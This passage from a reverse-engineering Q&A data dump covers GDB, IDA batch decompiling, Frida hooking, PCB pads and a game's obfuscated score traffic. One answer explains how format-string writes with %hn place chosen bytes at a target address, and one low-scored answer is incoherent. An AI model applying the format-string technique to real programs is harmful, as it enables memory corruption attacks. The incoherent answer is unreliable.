/usr/lib64/libc-2.31.so(__libc_start_main+0xf1) [0x27041]&#xA; &amp;gt; /tmp/a.out(_start+0x2d) [0x40108d]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This means that 0x4011a8 (main+0x62). You can use your favourite disassembler to tell what place in code that is.&lt;/p&gt;&#xA;&lt;p&gt;Edit: oh damn, I didn't realize there's no &lt;code&gt;strace&lt;/code&gt; for macOS. I think I'll leave the answer though.&lt;/p&gt;&#xA;" OwnerUserId="31411" LastEditorUserId="31411" LastEditDate="2020-08-10T13:08:04.540" LastActivityDate="2020-08-10T13:08:04.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25646" PostTypeId="2" ParentId="25640" CreationDate="2020-08-10T19:49:14.613" Score="-6" Body="&lt;p&gt;for editing in every owning pseudo code do think psychology corelations of it and then you get the human meaning for those who didnt change indetity based on it&#xA;only for who didnt read&lt;/p&gt;&#xA;&lt;p&gt;but if code is not accessible (no pseudo code) you can make a dictionary of character to binary and to its functions on the cpu that have high performance on java or python(slow)&lt;/p&gt;&#xA;" OwnerUserId="34104" LastEditorUserId="34104" LastEditDate="2020-08-10T20:03:12.687" LastActivityDate="2020-08-10T20:03:12.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25647" PostTypeId="1" CreationDate="2020-08-10T20:34:58.927" Score="1" ViewCount="30" Body="&lt;p&gt;Is there a way to ascertain - without special equipment (other than what a &amp;quot;layman electronics enthusiast&amp;quot; may have around) - how many layers a PCB has?&lt;/p&gt;&#xA;&lt;p&gt;Is there some sort of marking or a technique to deduce it?&lt;/p&gt;&#xA;&lt;p&gt;Only other requirement: it should not damage the PCB.&lt;/p&gt;&#xA;&lt;p&gt;This question is loosely related to &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/1460/245&quot;&gt;that one&lt;/a&gt;, but hardly a duplicate.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2020-08-10T20:34:58.927" Title="Looking at a PCB is it possible to ascertain the number of layers it has?" Tags="|hardware|pcb|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25648" PostTypeId="1" CreationDate="2020-08-10T21:11:11.693" Score="2" ViewCount="171" Body="&lt;p&gt;I am wondering what this is called (those are 1 and 2 cm marks, divided into 1 mm segments):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pHVkg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pHVkg.jpg&quot; alt=&quot;Soldering pads on a PCB next to a ruler&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm fairly certain it's not &lt;a href=&quot;https://en.wikipedia.org/wiki/JST_connector&quot; rel=&quot;nofollow noreferrer&quot;&gt;JST&lt;/a&gt;. I think the two larger pads are used to hold whatever connector is soldered to the ten smaller ones. Similar to a USB-A female jack. &lt;a href=&quot;https://en.wikipedia.org/wiki/Pin_header&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pin header&lt;/a&gt; could be, but the two larger pads make less sense then. Maybe a 9-pin D-Sub could go there (the RX/TX can also be accessed from the reverse at about the same location), but then there is one soldering pad too much. I've looked for a number of SMD components which may be a match, but came up empty-handed.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes when looking at an item I lack the correct terminology. This is such a case. What is this called? What sort of connector can I solder on and is there any chance (as long as I get the soldering right) that &lt;em&gt;merely soldering&lt;/em&gt; something to it will damage it, i.e. without connecting/shorting anything? ...&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The location where the ruler is, also happens to be the edge of the board. The PCB is out of an automative entertainment system. It was built in 2014 or 2015, but designed probably around 4-5 years before, by all accounts I could find. And to my knowledge its design is actually based on even earlier designs. This side of the PCB is labeled &amp;quot;TOP&amp;quot; somewhere at the edge.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z9efo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z9efo.jpg&quot; alt=&quot;The whole PCB&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The pads in question are on the edge shown at the bottom of the photo. This photo shows the top-side of the PCB. You can see there are two locations with this configuration of soldering pads. The photo at the top is from the right one.&lt;/p&gt;&#xA;&lt;p&gt;The board is a SMEG+ from Magneti Marelli as built into PSA cars.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-08-11T14:32:21.700" LastActivityDate="2020-08-11T14:32:21.700" Title="What are these pads called, what can I solder to them and could I do any damage?" Tags="|hardware|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="25649" PostTypeId="1" CreationDate="2020-08-10T21:21:49.193" Score="1" ViewCount="627" Body="&lt;p&gt;Given a very basic program,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;perl -e'$|=1; print $$; sleep 500;' HELLO WORLD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I find &lt;code&gt;HELLO&lt;/code&gt; &lt;code&gt;WORLD&lt;/code&gt; using GDB? I thought &lt;code&gt;bt -full&lt;/code&gt; but when I attach and run, I get&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#0  __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffe3b266bb0, rem=rem@entry=0x7ffe3b266bb0)&#xA;    at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:79&#xA;        r = -516&#xA;#1  0x00007f99fe824403 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffe3b266bb0, remaining=remaining@entry=0x7ffe3b266bb0) at nanosleep.c:27&#xA;        ret = &amp;lt;optimized out&amp;gt;&#xA;#2  0x00007f99fe82433a in __sleep (seconds=0) at ../sysdeps/posix/sleep.c:55&#xA;        save_errno = 0&#xA;        ts = {tv_sec = 474, tv_nsec = 980286586}&#xA;#3  0x000055d533c98518 in Perl_pp_sleep ()&#xA;No symbol table info available.&#xA;#4  0x000055d533c38d06 in Perl_runops_standard ()&#xA;No symbol table info available.&#xA;#5  0x000055d533baca7c in perl_run ()&#xA;No symbol table info available.&#xA;#6  0x000055d533b82472 in main ()&#xA;No symbol table info available.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would expect something to be able to parse the arguments to &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Note: I'm not looking for &lt;code&gt;/proc/$$/cmdline&lt;/code&gt;. That can be changed. I want the actual arguments to &lt;code&gt;main&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2020-08-10T21:35:52.067" LastActivityDate="2020-08-10T22:04:17.663" Title="Is it possible to find a running process's arguments to main from an attached GDB?" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25650" PostTypeId="2" ParentId="25649" CreationDate="2020-08-10T21:30:01.683" Score="1" Body="&lt;p&gt;What you want is not possible in any &lt;em&gt;generic&lt;/em&gt; fashion in absence of the debug symbols and persistently stored addresses for those function arguments (&lt;code&gt;argc&lt;/code&gt;, &lt;code&gt;argv&lt;/code&gt;). Only debug symbols will give you a generic way of accessing the &lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;argv&lt;/code&gt; symbols from the frame that represents &lt;code&gt;main&lt;/code&gt;. Theoretically. Example from x86-64:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) bt&#xA;#0  __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7fffffffdd30, rem=rem@entry=0x7fffffffdd30) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:79&#xA;#1  0x00007ffff7d25eb7 in __GI___nanosleep (requested_time=requested_time@entry=0x7fffffffdd30, remaining=remaining@entry=0x7fffffffdd30) at nanosleep.c:27&#xA;#2  0x00007ffff7d25dee in __sleep (seconds=0) at ../sysdeps/posix/sleep.c:55&#xA;#3  0x00005555556b38ec in Perl_pp_sleep ()&#xA;#4  0x0000555555653a56 in Perl_runops_standard ()&#xA;#5  0x00005555555c78dc in perl_run ()&#xA;#6  0x000055555559d432 in main ()&#xA;(gdb) f 6&#xA;#6  0x000055555559d432 in main ()&#xA;(gdb) info frame&#xA;Stack level 6, frame at 0x7fffffffdf30:&#xA; rip = 0x55555559d432 in main; saved rip = 0x7ffff7c670b3&#xA; caller of frame at 0x7fffffffdee0&#xA; Arglist at 0x7fffffffded8, args: &#xA; Locals at 0x7fffffffded8, Previous frame's sp is 0x7fffffffdf30&#xA; Saved registers:&#xA;  rbx at 0x7fffffffdf08, rbp at 0x7fffffffdf10, r12 at 0x7fffffffdf18, r13 at 0x7fffffffdf20, rip at 0x7fffffffdf28&#xA;(gdb) p (char*)rdi&#xA;No symbol &amp;quot;rdi&amp;quot; in current context.&#xA;(gdb) p argc&#xA;No symbol &amp;quot;argc&amp;quot; in current context.&#xA;(gdb) p argv&#xA;No symbol &amp;quot;argv&amp;quot; in current context.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see, the registers preserved &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#List_of_x86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;are hardly sufficient&lt;/a&gt; to guide you to the proper location of &lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;argv&lt;/code&gt; in memory. The first few to be used for argument passing would be RDI, RSI, RDX, RCX ... and those are volatile across stack frames.&lt;/p&gt;&#xA;&lt;p&gt;So whatever values were passed to &lt;code&gt;main()&lt;/code&gt; are no longer available from any location that we know about for certain.&lt;/p&gt;&#xA;&lt;p&gt;It's possible that with knowledge about the target you may find the pointers saved in local stack variables, but the register values will no longer exist. Possible locations (if you fancy depending on a particular C runtime implementation) would be looking at &lt;code&gt;__libc_start_main&lt;/code&gt; and friends. Also, &lt;code&gt;info args&lt;/code&gt; (basically the arguments you can set with &lt;code&gt;set args&lt;/code&gt; ... which is also one long string) might give you something, but again usually not without symbols available.&lt;/p&gt;&#xA;&lt;p&gt;You can dig around your stack from frame 6 (main) yourself after switching to it and issuing &lt;code&gt;x/16xg $sp&lt;/code&gt; ... you can then attempt to look at all those addresses, e.g. by printing them as &lt;code&gt;char*&lt;/code&gt; with &lt;code&gt;p (char*)0x7fffffffded8&lt;/code&gt; and similar ...&lt;/p&gt;&#xA;&lt;p&gt;Original answer below.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;How about this?:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info proc cmdline &#xA;process 27856&#xA;cmdline = '/usr/bin/perl -e$|=1; print $$; sleep 500; HELLO WORLD'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Should be equivalent to querying &lt;code&gt;/proc/$$/cmdline&lt;/code&gt; ...&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-08-10T22:04:17.663" LastActivityDate="2020-08-10T22:04:17.663" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25651" PostTypeId="2" ParentId="25633" CreationDate="2020-08-11T03:10:55.393" Score="1" Body="&lt;p&gt;The second and third methods are simply variants of the first method, using different write sizes.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;%n&lt;/code&gt; format specifier writes 4 bytes to the destination address. There are times where you may not want to write this many bytes as once; maybe you only want to partially overwrite a value, or more importantly, it may be too slow this way. Let's say you wanted to write the value 0xdeadbeef; in this particular case, the program has to print out 3,735,928,559 characters, which can take a while to write. It is often quicker to do several smaller writes instead of one huge write. So, the specifier can be used with a length modifier to change the number of bytes written. &lt;code&gt;%hn&lt;/code&gt; is 2 bytes, and &lt;code&gt;%hhn&lt;/code&gt; is one byte.&lt;/p&gt;&#xA;&lt;p&gt;So, you can break the problem into two chunks. Let's use the address from your example, 0x80496f4, as the target where we want to write. The first 2 bytes (little endian, 0xefbe) can be written at 0x80496f4 with an &lt;code&gt;%hn&lt;/code&gt;. Since we're going 2 bytes at a time, the next write needs to be at 0x80496f4+2, which is where 0x80496f6 comes from. Here, the next two bytes can be written with &lt;code&gt;%hn&lt;/code&gt;, 0xadde.&lt;/p&gt;&#xA;&lt;p&gt;Or, you can do it in 4 chunks by doing single-byte writes.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-08-11T03:10:55.393" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="25652" PostTypeId="1" CreationDate="2020-08-11T04:56:29.210" Score="1" ViewCount="1467" Body="&lt;p&gt;I am trying to batch disassemble and decompile 500 binaries using the IDA Pro 7.5 disassember and Hex rays decompiler. I can get the .i64 output from the disassembler, but I do not have a way to batch decompile this. Does anyone have an easy way to get the .c pseudocode directly from a binary, like one can do with Ghidra?&lt;/p&gt;&#xA;" OwnerUserId="34109" LastActivityDate="2020-08-11T12:59:30.533" Title="Batch decompile using IDA Pro 7.5" Tags="|ida|decompilation|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25653" PostTypeId="2" ParentId="25652" CreationDate="2020-08-11T05:37:20.760" Score="3" Body="&lt;p&gt;Please see &lt;a href=&quot;https://hex-rays.com/products/decompiler/manual/batch.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Batch Operation&lt;/a&gt;&#xA;In the decompiler’s manual.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-08-11T05:37:20.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25654" PostTypeId="1" CreationDate="2020-08-11T09:23:36.437" Score="1" ViewCount="516" Body="&lt;p&gt;I wanted to hook the method &lt;code&gt;A1f&lt;/code&gt; in the below code but frida returns the following exceptions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Found instance: MyHomeFragment{9bbd8d5} (0965bca9-4838-4ca1-a835-d99639ae15f1)}&#xA;java.lang.IllegalStateException: Fragment MyHomeFragment{9bbd8d5} (0965bca9-4838-4ca1-a835-d99639ae15f1)} not attached to an activity.&#xA;Found instance: MyHomeFragment{8e4752} (c7e2fb7a-bbcd-4b79-b9ff-ce1a06117e40) id=0x7f0a0e33}&#xA;java.lang.IllegalStateException: The specified child already has a parent. You must call removeView() on the child's parent first.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;how can I call &lt;code&gt;removeView()&lt;/code&gt; through frida just to solve that exception? is it possible to do that?&#xA;additionally is there ways to hook? I am new to frida instrumentation.&#xA;Here is the method to hook:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public final class MyHomeFragment extends 1Id implements 1Ij, C4Z, 1Io, 2OS {&#xA;    public 0ou A00;&#xA;    public 65i A01;&#xA;    public String A02;&#xA;&#xA;public final View A1f(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) {&#xA;        int A022 = 051.A02(1608567253);&#xA;        65i r1 = this.A01;&#xA;        Preconditions.checkNotNull(r1);&#xA;        LithoView A07 = r1.A07(A0w());&#xA;        FrameLayout frameLayout = new FrameLayout(A0m());&#xA;        frameLayout.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));&#xA;        frameLayout.addView(A07);&#xA;        051.A08(-871184214, A022);&#xA;        return frameLayout;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the frida script I tried to hook with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Java.perform(function () {&#xA;   Java.choose(&amp;quot;com.myapp.perish.home.fragments.MyHomeFragment&amp;quot;, {&#xA;    onMatch: function (instance) {&#xA;      //This function will be called for every instance found by frida&#xA;      try {&#xA;        var LayoutInflater = Java.use(&amp;quot;android.view.LayoutInflater&amp;quot;);&#xA;        var ViewGroup = Java.use(&amp;quot;android.view.ViewGroup&amp;quot;);&#xA;        var Bundle = Java.use(&amp;quot;android.os.Bundle&amp;quot;);&#xA;     &#xA;        console.log(&amp;quot;Found instance: &amp;quot; + instance);&#xA;        console.log(JSON.stringify(instance.A1f(null, null, null)));&#xA;      } catch (e) {&#xA;        console.log(e.message);&#xA;      }&#xA;    },&#xA;    onComplete: function () {},&#xA;  });&#xA;});&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;previously I tried to pass &lt;code&gt;LayoutInflater &lt;/code&gt; &lt;code&gt;ViewGroup&lt;/code&gt; &lt;code&gt;Bundle&lt;/code&gt; arguments to &lt;code&gt;A1f&lt;/code&gt; method I got an exception depicting that &lt;code&gt;.overload&lt;/code&gt; method got differently what it expects. I don't how to solve it. but when replaced all the three params with &lt;code&gt;null&lt;/code&gt;. I got that above exception that parentView should be removed! how can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="31398" LastActivityDate="2022-01-01T15:05:10.450" Title="frida - The specified child already has a parent. You must call removeView() on the child's parent first when hooking, how do you solve it?" Tags="|java|dynamic-analysis|function-hooking|frida|hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25656" PostTypeId="2" ParentId="25652" CreationDate="2020-08-11T12:59:30.533" Score="0" Body="&lt;p&gt;@cal_decom hello, I wrote this script which may help you in your what you want to achieve.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import sys&#xA;sys.path.append(os.getcwd())&#xA;&#xA;pwd = os.getcwd()&#xA;for dirpath, dirnames, filenames in sorted(os.walk(pwd)):&#xA;    for file in filenames:&#xA;        ext = os.path.splitext(file)[-1]&#xA;        name = os.path.splitext(file)[0]&#xA;        if os.path.splitext(file)[-1] == &amp;quot;.out&amp;quot;:&#xA;            os.system(f&amp;quot;/mnt/d/idapro-7.5/idat64 -Ohexrays:{os.path.join(dirpath, name)}:ALL  -A {os.path.join(dirpath, file)} -nosave&amp;quot;)&#xA;# you might want to change this for sub directories&#xA;os.system(&amp;quot;rm *.i64&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can change the path accordingly. This script scans through current directory and sub directories to find binaries with &amp;quot;out&amp;quot; extension and generates pseudocode if found. You can read the link provided by @Igor Skochinsky for other options available.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-08-11T12:59:30.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25657" PostTypeId="1" AcceptedAnswerId="25659" CreationDate="2020-08-11T18:24:14.557" Score="0" ViewCount="62" Body="&lt;p&gt;Assembler code from data segment:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.data:006A5038 dword_6A5038    dd 0&#xA;.data:006A5038                   &#xA;.data:006A503C ; char *off_6A503C&#xA;.data:006A503C off_6A503C      dd offset aOption0&#xA;.data:006A503C                                   &#xA;.data:006A503C                                   &#xA;.data:006A5040 dword_6A5040    dd 1              &#xA;.data:006A5040                                   &#xA;.data:006A5044                 dd offset aOption1&#xA;.data:006A5048                 db    2&#xA;.data:006A5049                 db    0&#xA;.data:006A504A                 db    0&#xA;.data:006A504B                 db    0&#xA;.data:006A504C                 dd offset aOption2&#xA;.data:006A5050                 db    3&#xA;.data:006A5051                 db    0&#xA;.data:006A5052                 db    0&#xA;.data:006A5053                 db    0&#xA;.data:006A5054                 dd offset aOption3&#xA;.data:006A5058                 db    4&#xA;&#xA;..................................................&#xA;.data:006A5294                 dd offset aOption4bh&#xA;.data:006A5298                 db  4Ch ; L&#xA;.data:006A5299                 db    0&#xA;.data:006A529A                 db    0&#xA;.data:006A529B                 db    0&#xA;.data:006A529C                 dd offset aOption4ch &#xA;.data:006A52A0                 db 0FFh&#xA;.data:006A52A1                 db 0FFh&#xA;.data:006A52A2                 db 0FFh&#xA;.data:006A52A3                 db 0FFh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Assembler code of code segment, it piece of code below is loop, and during this loop checks eax with value 0xffffffff for end of loop; every step of loop to do some opertion with compare this strings named &amp;quot;options&amp;quot;. i.e. there is string, and string's  numeric indefiner, and for end of loop checks eax if 0xffffffff.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:005334DF                 mov     eax, dword_6A5040[edi*8]&#xA;.text:005334E6                 inc     edi&#xA;.text:005334E7                 cmp     eax, 0FFFFFFFFh&#xA;.text:005334EA                 jnz     loc_533433&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Question- how this data from data segment (strings and numeric indefiners) might look in high-level languages like c++? May be is it structures, how arranged this structures? It like global variables, because placed in data segment. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="33371" LastActivityDate="2020-08-11T19:39:25.067" Title="Recognize of data block" Tags="|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25658" PostTypeId="2" ParentId="21460" CreationDate="2020-08-11T18:31:57.263" Score="2" Body="&lt;p&gt;From the readelf output for section headers:&lt;/p&gt;&#xA;&lt;p&gt;Key to Flags:&lt;/p&gt;&#xA;&lt;p&gt;W (write), A (alloc), X (execute), M (merge), S (strings)&#xA;I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)&#xA;O (extra OS processing required) o (OS specific), p (processor specific)&lt;/p&gt;&#xA;" OwnerUserId="34119" LastActivityDate="2020-08-11T18:31:57.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25659" PostTypeId="2" ParentId="25657" CreationDate="2020-08-11T19:39:25.067" Score="2" Body="&lt;pre&gt;&lt;code&gt;.text:005334DF mov     eax, dword_6A5040[edi*8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;edi is multiplied by 8&lt;/li&gt;&#xA;&lt;li&gt;edi is a 32 bit  register&lt;/li&gt;&#xA;&lt;li&gt;so by inferance edi can range from 0 to 0xffffffff&lt;/li&gt;&#xA;&lt;li&gt;so edi can be &lt;code&gt;0*8 = 0,1*8 = 8,2*8=16,.....n*8 =8n,....&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;or multiplication table of 8&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;arrays and pointers are represented in x86 assembly with square brackets&lt;/p&gt;&#xA;&lt;p&gt;this &lt;code&gt;6A5040[edi*8]&lt;/code&gt; denotes Array Access so&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.data:006A5040 dword_6A5040    dd 1  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;will be the first member of array&lt;/p&gt;&#xA;&lt;p&gt;in a higher language this will look like&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;*int eax = *(int *)6a5040*&lt;/code&gt;  or&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;int eax = foo[i]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;where foo is an array of some type&lt;/p&gt;&#xA;&lt;p&gt;int foo[] = { {1,ptr} , {2,ptr} ,{3.ptr}, ...... ,{n ,ptr} };&lt;/p&gt;&#xA;&lt;p&gt;inc edi here index is increased  this will be like &lt;code&gt;i++;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;cmp and jnz will map to a conditional  like&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;if (eax != val) {do something}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;while (eax!=val) {do something}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;putting all this together one can derive a higher levelcode that would yield similar work flowlike below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt; &#xA;typedef struct _FOO &#xA;{&#xA;    unsigned int a;&#xA;    unsigned int *b;&#xA;}Foo,*PFoo;&#xA;unsigned int  mint[] = {0,1,2,3,4,5,6,7,8,0xffffffff};&#xA;Foo myfoo[] = &#xA;{ &#xA;    {mint[ 0],&amp;amp;(mint[ 0])},&#xA;    {mint[ 1],&amp;amp;(mint[ 1])},&#xA;    {mint[ 2],&amp;amp;(mint[ 2])},&#xA;    {mint[10],&amp;amp;(mint[10])} &#xA;};&#xA;int main (void) &#xA;{&#xA;    int i =0;    &#xA;    while(myfoo[i].a != 0xffffffff)    &#xA;    {&#xA;        printf(&amp;quot;%u\t%p\n&amp;quot;,  myfoo[i].a, myfoo[i].b);&#xA;        i++;&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and disassembly wouldbe like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf .&#xA;foo!main:&#xA;013410a0 55              push    ebp&#xA;013410a1 8bec            mov     ebp,esp&#xA;013410a3 51              push    ecx&#xA;013410a4 c745fc00000000  mov     dword ptr [ebp-4],0&#xA;&#xA;foo!main+0xb:&#xA;013410ab 8b45fc          mov     eax,dword ptr [ebp-4]&#xA;013410ae 833cc5f8993801ff cmp     dword ptr foo!myfoo (013899f8)[eax*8],0FFFFFFFFh&#xA;013410b6 742e            je      foo!main+0x46 (013410e6)&#xA;&#xA;foo!main+0x18:&#xA;013410b8 8b4dfc          mov     ecx,dword ptr [ebp-4]&#xA;013410bb 8b14cdfc993801  mov     edx,dword ptr foo!myfoo+0x4 (013899fc)[ecx*8]&#xA;013410c2 52              push    edx&#xA;013410c3 8b45fc          mov     eax,dword ptr [ebp-4]&#xA;013410c6 8b0cc5f8993801  mov     ecx,dword ptr foo!myfoo (013899f8)[eax*8]&#xA;013410cd 51              push    ecx&#xA;013410ce 6890013801      push    offset foo!__xt_z+0x4 (01380190)&#xA;013410d3 e858000000      call    foo!printf (01341130)&#xA;013410d8 83c40c          add     esp,0Ch&#xA;013410db 8b55fc          mov     edx,dword ptr [ebp-4]&#xA;013410de 83c201          add     edx,1&#xA;013410e1 8955fc          mov     dword ptr [ebp-4],edx&#xA;013410e4 ebc5            jmp     foo!main+0xb (013410ab)&#xA;&#xA;foo!main+0x46:&#xA;013410e6 33c0            xor     eax,eax&#xA;013410e8 8be5            mov     esp,ebp&#xA;013410ea 5d              pop     ebp&#xA;013410eb c3              ret&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-08-11T19:39:25.067" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25661" PostTypeId="1" CreationDate="2020-08-12T08:15:55.663" Score="1" ViewCount="72" Body="&lt;p&gt;The driver provided by the phone manufacturer doesn't expose both of my front cameras to third party apps and doesn't allow any third party app to record 4K video, so I think that interoperability is an acceptable reason to do so. But it is said that one is not allowed to publish the source code, then.&lt;/p&gt;&#xA;&lt;p&gt;Does a reverse engineering technique exist, that would allow me to make an OPEN SOURCE driver for built-in phone cameras legally in Europe?&lt;/p&gt;&#xA;" OwnerUserId="34122" LastActivityDate="2020-08-12T08:15:55.663" Title="Is there a technique that would allow me to make an OPEN SOURCE driver legally in Europe" Tags="|law|interoperability|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25662" PostTypeId="2" ParentId="22718" CreationDate="2020-08-12T15:00:35.310" Score="1" Body="&lt;p&gt;One small discovery on the ND1: In a sys ex dump, byte 6 is 6 if you are dumping a single program, an 8 if you're dumping all.  Byte 7 is a 0 if you're dumping one program or the number of the program (-1) if you're dumping all.&lt;/p&gt;&#xA;&lt;p&gt;Perhaps even more interesting -- this only seems to change the value of the final checksum (byte 110) but not the mysterious other checksum bytes.&lt;/p&gt;&#xA;" OwnerUserId="33196" LastActivityDate="2020-08-12T15:00:35.310" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25663" PostTypeId="1" CreationDate="2020-08-13T03:59:24.543" Score="0" ViewCount="91" Body="&lt;p&gt;I'm looking at the network traffic of a game submitting the user's score to the high-score server. The score value seems to be obfuscated in some way.&lt;/p&gt;&#xA;&lt;p&gt;The score is a non-negative integer, and not more than half a billion in practice. Here are some scores and their encoded forms:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   0 : 4c&#xA; 100 : 4d 71 06&#xA; 110 : 4d 7f c6&#xA; 210 : 4f bf c6&#xA; 281 : 4f ba 8d b3 ba 94 4d da 9d&#xA; 551 : 69 78 cd b3 bf ee 69 79 1c&#xA; 878 : 66 be 8b b3 b1 14 69 d4 f6&#xA; 990 : 65 74 06 b3 b2 4b 69 d1 2e&#xA;1016 : 4d 71 0d 68 22 f0 4e be b6 68&#xA;1021 : 4d 71 1c 4f 72 dd 6b b2 46 68&#xA;1208 : 4d 70 06 64 a2 cb 66 b2 4d 68&#xA;1361 : 4d 74 f6 4f 72 e2 6b b0 14&#xA;1362 : 4d 74 f6 4c 22 cd 4f b8 dc 4c&#xA;1543 : 4d 78 ee 4d c2 dd 66 b1 06 68&#xA;1673 : 4d 79 30 4d c2 c6 4e b2 6e 4e&#xA;1913 : 4d 74 0d 4d c2 d4 69 70 0d 4d d1 06 4e b1 06 4e b1 1d&#xA;2151 : 4f bf d4 4f 72 dc 4f ba 9d 6a&#xA;2816 : 4f ba 8d 68 22 dc 4d 71 30 4d 71 06 4e b1 06 4e b1 1d&#xA;3540 : 4d d8 ee 4c a2 dc 4d 7f dc 6a&#xA;3819 : 4d da 